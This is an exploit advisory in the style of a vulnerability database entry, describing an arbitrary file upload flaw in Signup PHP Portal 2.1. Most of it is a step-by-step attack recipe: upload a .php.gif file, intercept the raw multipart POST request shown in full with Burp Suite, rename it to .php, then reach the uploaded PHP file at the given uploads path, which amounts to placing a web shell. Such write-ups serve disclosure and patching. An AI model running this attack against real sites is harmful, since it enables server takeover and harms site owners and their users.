Signup PHP Portal 2.1 Shell Upload Vulnerability

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# Exploit Title: Signup Php Portal Arbitrary File Upload
# Exploit Author: Sohel Yousef - [email protected]
# Software Link: https://codecanyon.net/item/signup-php-portal/23066564
# Software Demo :https://ocsolutions.co.in/signup_custom_script/customer_register.php
# Category: webapps
# Version: 2.1

1. Description

Signup Php Portal script contain arbitrary file upload
using the form you can upload php files and bypass secuirty with burb suite intercept tool

signup link :

https://localhost/signup_custom_script/customer_register.php

in the section of other images upload your file.php.gif and use intercept tool in burbsuite to edit the raw

details 

POST /signup_custom_script/upload.php HTTP/1.1
Host: host
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:95.0) Gecko/20100101 Firefox/95.0
Accept: */*
Accept-Language: ar,en-US;q=0.7,en;q=0.3
Accept-Encoding: gzip, deflate
Content-Type: multipart/form-data; boundary=---------------------------232155580731505179933631361962
Content-Length: 294712
Origin: https://localhost
Connection: close
Referer: https://localhost/signup_custom_script/customer_register.php
Cookie: language=en-gb; currency=GBP; PHPSESSID=055209d5effdb7d44487349cbd66243e
Sec-Fetch-Dest: empty
Sec-Fetch-Mode: cors
Sec-Fetch-Site: same-origin

-----------------------------232155580731505179933631361962
Content-Disposition: form-data; name="name"

p1fna9ivqhk6g1fbjqto1f711ooq9.gif  <<<<<------- REMOVE .GIF AND EDIT THIS TO .PHP
-----------------------------232155580731505179933631361962
Content-Disposition: form-data; name="file"; filename="2.php.gif" <<<<<------- REMOVE .GIF AND EDIT THIS TO .PHP
Content-Type: image/gif

#####
forward and all done 

your file name will be 
p1fna9ivqhk6g1fbjqto1f711ooq9.php

and this is the upload dir 

https://localhost//signup_custom_script/uploads/

your file will be on this link

https://localhost//signup_custom_script/uploads/p1fna9ivqhk6g1fbjqto1f711ooq9.php


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